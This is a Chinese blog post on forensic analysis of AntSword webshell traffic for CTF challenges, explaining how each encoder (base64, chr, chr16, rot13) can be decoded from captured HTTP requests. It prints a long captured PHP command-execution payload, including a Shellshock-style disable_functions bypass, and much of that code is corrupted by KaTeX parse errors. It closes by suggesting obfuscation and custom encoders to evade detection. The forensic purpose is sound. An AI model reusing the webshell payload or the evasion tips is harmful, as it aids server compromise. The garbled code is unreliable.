浅谈蚁剑流量分析，从零基础到精通，收藏这篇就够了！

本文链接：https://blog.youkuaiyun.com/Libra1313/article/details/145761468

1、前言

最近打CTF比赛，遇到了流量分析的题目，通过流量分析还原黑客攻击的过程、执行了哪些操作、偷走了哪些数据。这个过程中就涉及到了webshell工具，有冰蝎、哥斯拉、蚁剑。这次就先谈谈蚁剑的流量分析，下次再分享其他工具的流量分析。

2、蚁剑流量分析

2.1 蚁剑编码与解码

AntSword 是一款开源、跨平台的网站管理工具，旨在满足渗透测试人员、具有权限和授权的安全研究人员以及网站管理员的需求。测试文件上传漏洞时，经常用到该工具。

蚁剑与网站进行数据交互的过程中，发送的数据是经过编码器编码后再发送，支持的编码方式有default默认的、base64、chr、chr16、rot13；网站返回的数据经过解码器中的编码方式编码后返回，支持的编码方式有default、base64、rot13。

2.2 default编码和解码

wireshark过滤http协议数据包，也可以再过滤post请求，因为蚁剑是post方式请求。然后对http数据流进行追踪，可以找到数据交互的过程。

追踪http数据流可以看到请求的内容，默认编码方式使用了base64，而返回的数据可以直接看到。

对请求的数据进行URL解码并进行PHP代码格式化，可以得到清晰可读的代码。从代码可知，蚁剑带了明显的特征函数@ini_set()；123就是连接webshell的密码；以post的方式传入了三个参数，并取参数值的第三个字符开始的字符串进行base64解码。

123=@ini_set(“display_errors”, “0”);
@set_time_limit(0);
$opdir\=@ini\_get("open\_basedir"); if($ opdir) { $ocwd\=dirname($ _SERVER[“SCRIPT_FILENAME”]); $oparr\=preg\_split(base64\_decode("Lzt8Oi8="),$ opdir); @array_push( $o p a rr,$ ocwd,sys_get_temp_dir()); foreach($oparr as $KaTeX parse error: Expected '}', got 'EOF' at end of input: …!@is\_writable($ item)) { continue; } ; $KaTeX parse error: Expected group as argument to '\=' at end of input: tmdir\=$ item.“/.4a400f19”; @mkdir( $tmdir); if(!@file\_exists($ tmdir)) { continue; } $tmdir\=realpath($ tmdir); @chdir($tmdir); @ini_set(“open_basedir”, “…”); $cntarr\=@preg\_split("/\\\\\\\\|\\//",$ tmdir); for ( $i\=0;$ i<sizeof( $c n t a rr);$ i++) { @chdir(“…”); } ; @ini_set(“open_basedir”,“/”); @rmdir( $KaTeX parse error: Expected 'EOF', got '}' at position 17: \dotsmdir); break; }̲ ; } ; ; \dots$ out) { return $out;
}
;
function asoutput() { $output\=ob\_get\_contents(); ob\_end\_clean(); echo "9863"."22fe9"; echo @asenc($ output); echo “bfb”.“3ba6”;
}
ob_start();
try { $p\=base64\_decode(substr($ _POST[“mb15ce4fadb25d”],2)); $s\=base64\_decode(substr($ _POST[“s7c079558ec28f”],2)); $envstr\=@base64\_decode(substr($ _POST[“ye516631e211db”],2)); $d\=dirname($ _SERVER[“SCRIPT_FILENAME”]); $c\=substr($ d,0,1)==“/”?“-c \”{ $KaTeX parse error: Expected 'EOF', got '}' at position 2: s}̲\\"":"/c \\"{$ s}\“”; if(substr( $d,0,1)\=="/") { @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); } else { @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } if(!empty($ envstr)) { $envarr=explode(“|||asline|||”, $e n v s t r); f ore a c h ($ envarr as $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dots{ if (!empty($ v)) { @putenv(str_replace(“|||askey|||”, “=”, $v)); } } } $KaTeX parse error: Expected '}', got 'EOF' at end of input: r\="{$ p} { $KaTeX parse error: Expected 'EOF', got '}' at position 2: c}̲"; function fe($ f) { $d\=explode(",",@ini\_get("disable\_functions")); if(empty($ d)) { $d=array(); } else { $d\=array\_map('trim',array\_map('strtolower',$ d)); } return(function_exists( $KaTeX parse error: Expected 'EOF', got '&' at position 3: f)&̲&is\_callable($ f)&&!in_array( $f,$ d)); } ; function runshellshock($d, $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dots { if (substr($ d, 0, 1) == “/” && fe(‘putenv’) && (fe(‘error_log’) || fe(‘mail’))) { if (strstr(readlink(“/bin/sh”), “bash”) != FALSE) { $tmp = tempnam(sys_get_temp_dir(), ‘as’); putenv(“PHP_LOL=() { x; }; $c >$ tmp 2>&1”); if (fe(‘error_log’)) { error_log(“a”, 1); } else { mail(“a@127.0.0.1”, “”, “”, “-bv”); } } else { return False; } $KaTeX parse error: Expected group as argument to '\=' at position 10: output \= ̲@file\_get\_con…$ tmp); @unlink( $t m p); i f ($ output != “”) { print( $KaTeX parse error: Expected 'EOF', got '}' at position 28: \dotsreturn True; }̲ } return Fal\dots$ c) { $ret=0; $d\=dirname($ _SERVER[“SCRIPT_FILENAME”]); if(fe(‘system’)) { @system( $c,$ ret); } elseif(fe(‘passthru’)) { @passthru( $c,$ ret); } elseif(fe(‘shell_exec’)) { print(@shell_exec( $KaTeX parse error: Expected 'EOF', got '}' at position 7: c)); }̲ elseif(fe('exe\dots$ c, $o,$ ret); print(join("
“,$o)); } elseif(fe(‘popen’)) { $fp\=@popen($ c,‘r’); while(!@feof( $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dots print(@fgets($ fp,2048)); } @pclose($fp); } elseif(fe(‘proc_open’)) { $KaTeX parse error: Expected group as argument to '\=' at position 5: p \= ̲@proc\_open($ c, array(1 => array(‘pipe’, ‘w’), 2 => array(‘pipe’, ‘w’)), $i o); w hi l e (! @ f eo f ($ io[1])) { print(@fgets( $KaTeX parse error: Undefined control sequence: \[ at position 3: io\̲[̲1\],2048)); }…$ io[2])) { print(@fgets( $KaTeX parse error: Undefined control sequence: \[ at position 3: io\̲[̲2\],2048)); }…$ io[1]); @fclose( $KaTeX parse error: Undefined control sequence: \[ at position 3: io\̲[̲2\]); @proc\_…$ p); } elseif(fe(‘antsystem’)) { @antsystem( $KaTeX parse error: Expected 'EOF', got '}' at position 6: c); }̲ elseif(runshel\dots$ d, $c)) { return $KaTeX parse error: Expected 'EOF', got '}' at position 7: ret; }̲ elseif(substr($ d,0,1)!=”/" && @class_exists(“COM”)) { $w=new COM(‘WScript.shell’); $KaTeX parse error: Expected group as argument to '\=' at end of input: e\=$ w->exec($c); $KaTeX parse error: Expected group as argument to '\=' at end of input: so\=$ e->StdOut(); $KaTeX parse error: Expected group as argument to '\=' at end of input: ret.\=$ so->ReadAll(); $KaTeX parse error: Expected group as argument to '\=' at end of input: se\=$ e->StdErr(); $KaTeX parse error: Expected group as argument to '\=' at end of input: ret.\=$ se->ReadAll(); print($ret); } else { $ret = 127; } return $ret; } ; $ret\=@runcmd($ r." 2>&1"); print ( $KaTeX parse error: Expected '}', got 'EOF' at end of input: ret!=0)?"ret={$ ret}“:”"; ;
}
catch(Exception $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dotscho "ERROR://".$ e->getMessage();
}
;
asoutput();
die();
&mb15ce4fadb25d=qML2Jpbi9zaA==&s7c079558ec28f=wjY2QgIi92YXIvd3d3L2h0bWwvdXBsb2FkIjtwd2Q7ZWNobyBlMjI1MDUwOThjYWU7cHdkO2VjaG8gYmVjMWU=&ye516631e211db=JO

对参数值（删除前2个字符）进行base64解码，可以知道在/var/www/html/upload目录下执行了pwd命令。

解码前：
L2Jpbi9zaA==
解码后：
/bin/sh
解码前：
Y2QgIi92YXIvd3d3L2h0bWwvdXBsb2FkIjtwd2Q7ZWNobyBlMjI1MDUwOThjYWU7cHdkO2VjaG8gYmVjMWU=
解码后：
cd “/var/www/html/upload”;pwd;echo e22505098cae;pwd;echo bec1e

2.3 base64编码和解码

蚁剑会随机生成一个参数传入 base64 编码后的代码，密码参数的值是通过 POST 获取随机参数的值然后进行 base64 解码后使用 eval 执行。我们把参数值进行base64解码就可以得到执行的代码。

除了上述的参数外，这里还有2个参数，从上述解码出来的代码可知，对参数值（删除前2个字符）进行base64解码就可以得到具体的信息。

响应包中返回的数据使用base64编码。蚁剑的返回的数据采用base64编码时有点不一样，即返回的数据格式为：随机数编码后数据随机数。

想要解码一种方式是用脚本去爆破。由于是base64编码，数据最后有一个=，所以可以确定=后面的是插入的随机数，然后把前面的字符串放到base64在线解码器，逐个地删除开头的字符进行解码测试，就可以得到解码后的数据。可以知道是上面执行pwd命令返回的结果。

解码前：
72e6951ce83cL3Zhci93d3cvaHRtbC91cGxvYWQKMzc1YmZjYzEyNzhkCi92YXIvd3d3L2h0bWwvdXBsb2FkCjhkY2I4NAo=
解码后：
ïgº÷{ÍÜ/var/www/html/upload
375bfcc1278d
/var/www/html/upload
8dcb84

2.4 chr编码

chr编码就是把字符转换成了CHR(ASCII码)，简单地说就是chr()函数可以把ASCII码转换成字符。使用chr编码的时候，使用了 @eval()函数，对函数内的每一个字符进行了chr编码，写个脚本解码就可以得到字符串内容。

chr解码后可知，请求的内容最后传入了三个参数进行了base64编码，base64解码后就可以得到参数值。

2.5 chr16编码

chr16编码与chr编码差不多，不同的地方在于chr编码中的ASCII值是十进制，chr16编码中的ASCII值是十六进制。

2.6 rot13编码和解码

POST请求中rot13编码方式，也是使用了@eval()函数，然后对post传的传输进行了rot13编码。

对请求体进行URL解码和代码格式化后，rot13编码的参数是一个函数。

123=@eval(@str_rot13($_POST[‘pa6d3f66e30843’]));
&pa6d3f66e30843=@vav_frg(“qvfcynl_reebef”, “0”);

传入的参数依旧还是base64编码，对参数值解码可以知道执行了pwd命令。

响应数据使用了rot13编码，无法直接看出返回的数据是什么，解码后才能看到返回的具体数据。

通过rot13在线解码，可以得到返回的数据是Linux目录的路径。

80r7n7196/var/www/html/upload
fd752b168
/var/www/html/upload
3ea4dc9aaea
4259102r

3、最后

使用编码器和解码器对流量进行编码加密，在一定程度可以绕过waf或者流量分析检测。但是在蚁剑中PHP类型的webshell还是带了比较明显的流量特征，如@ini_set(“display_errors”, “0”)、@set_time_limit (0)、@eval()，所以想要更好地绕过流量分析检测还得增加一些手段，比如加入混淆代码、改造编解码器等。